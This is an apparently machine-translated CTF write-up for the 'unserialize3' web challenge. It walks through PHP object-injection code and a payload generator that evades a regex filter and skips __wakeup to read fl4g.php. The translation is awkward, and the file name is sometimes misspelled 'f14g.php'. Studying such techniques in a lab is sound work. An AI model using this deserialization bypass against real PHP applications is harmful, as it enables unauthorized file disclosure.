当前位置:网站首页>Solution to the problem of unserialize3 in the advanced web area of the attack and defense world
Solution to the problem of unserialize3 in the advanced web area of the attack and defense world
2022-07-08 00:16:00 【B_ secretary】
<?php
class Demo {
private $file = 'index.php';
// Constructors , Call automatically when the variable is created ,__ Means magic method , When the conditions are met, it will automatically call
public function __construct($file) {
$this->file = $file;
//“->” stay PHP Equivalent to Python Of “.”, Methods used to call objects
}
// Destructor , Call automatically when the variable is destroyed
function __destruct() {
echo @highlight_file($this->file, true);
}
// Print file The content in , Show the document to the reader
/* highlight_file(filename,return) Function to highlight the syntax of the file , If return Parameter is set to true, Then the function will return the highlighted code , Instead of outputting them .
The whole code means that when the file is destroyed, it will output $file Code for .at Symbol (@) stay PHP Used as an error control operator in . When the expression is attached @ The symbol , Error messages that may be generated by this expression will be ignored .*/
// It will be called automatically when deserializing
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
// Change the file name to “index.php”
}
}
if (isset($_GET['var'])) {
/* Judgment variable var Is it created , Checks whether the variable is set and not NULL, This code is to detect whether it is passed get Requested var Variable */
$var = base64_decode($_GET['var']);
// take var Explain base64 code
if (preg_match('/[oc]:\d+:/i', $var)) {
// matching var Whether there is a string in
die('stop hacking!');
} else {
@unserialize($var);
// Deserialization var, This will call wakeup function
}
} else {
highlight_file("index.php");
// Highlight index.php, This is not the result we want
}
?>
The topic source code tells us flag stay f14g.php in , So we want to enter this file , that payload Need to meet :
1、 It doesn't contain preg_match Or directly bypass preg_match function
2、 Deserialization bypasses wakeup function
So we use serialization to construct a var Pass in , Let variable value be equal to f14g.php, When the variable is destroyed, it will be displayed by the destructor f14g.php
structure payload Code :
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$payload = new Demo('fl4g.php');// Create objects Demo, Its file The value is f14g.php
$payload = serialize($payload);// Serialization operation
$payload = str_replace('O:4', 'O:+4',$payload);
// Will be one of the “0:4” Switch to “0:+4” So as to bypass the regularities
$payload = str_replace(':1:', ':2:' ,$payload);
// Number of objects in serialization “1” Change it to “2”, To bypass the wakeup function ( If the value of the number of objects recorded in the serialization is larger than the real number of objects, you can bypass wakeup)
// Nonprintable white space in serialization is equivalent to %00, It needs to be in payload Medium plus
echo base64_encode($payload); // For parameters base64 Code and print out
?>
边栏推荐
- 詹姆斯·格雷克《信息简史》读后感记录
- [programming problem] [scratch Level 2] 2019.09 make bat Challenge Game
- Su embedded training - day4
- STM32F1與STM32CubeIDE編程實例-旋轉編碼器驅動
- Kubectl 好用的命令行工具:oh-my-zsh 技巧和窍门
- 如何衡量产品是否“刚需、高频、痛点”
- Operating system principle --- summary of interview knowledge points
- Prompt configure: error: required tool not found: libtool solution when configuring and installing crosstool ng tool
- [programming questions] [scratch Level 2] March 2019 garbage classification
- 【编程题】【Scratch二级】2019.12 飞翔的小鸟
猜你喜欢
[basis of recommendation system] sampling and construction of positive and negative samples
[programming problem] [scratch Level 2] 2019.09 make bat Challenge Game
How to learn a new technology (programming language)
Pypharm uses, and the third-party library has errors due to version problems
快速上手使用本地测试工具postman
Basic learning of SQL Server -- creating databases and tables with the mouse
【编程题】【Scratch二级】2019.12 飞翔的小鸟
Jouer sonar
Zhou Hongqi, 52 ans, est - il encore jeune?
【编程题】【Scratch二级】2019.03 垃圾分类
随机推荐
2022-07-07:原本数组中都是大于0、小于等于k的数字,是一个单调不减的数组, 其中可能有相等的数字,总体趋势是递增的。 但是其中有些位置的数被替换成了0,我们需要求出所有的把0替换的方案数量:
80% of the people answered incorrectly. Does the leaf on the apple logo face left or right?
测试流程不完善,又遇到不积极的开发怎么办?
Notice on organizing the second round of the Southwest Division (Sichuan) of the 2021-2022 National Youth electronic information intelligent innovation competition
[C language] objective questions - knowledge points
他们齐聚 2022 ECUG Con,只为「中国技术力量」
全自动化处理每月缺卡数据,输出缺卡人员信息
How to insert highlighted code blocks in WPS and word
Robomaster visual tutorial (0) Introduction
Detailed explanation of interview questions: the history of blood and tears in implementing distributed locks with redis
Linkedblockingqueue source code analysis - add and delete
Preliminary test of optical flow sensor: gl9306
Visual Studio Deployment Project - Create shortcut to deployed executable
腾讯安全发布《BOT管理白皮书》|解读BOT攻击,探索防护之道
Automated testing: robot framework is a practical skill that 90% of people want to know
[programming problem] [scratch Level 2] December 2019 flying birds
3年经验,面试测试岗20K都拿不到了吗?这么坑?
Using Google test in QT
redis你到底懂不懂之list
Smart regulation enters the market, where will meituan and other Internet service platforms go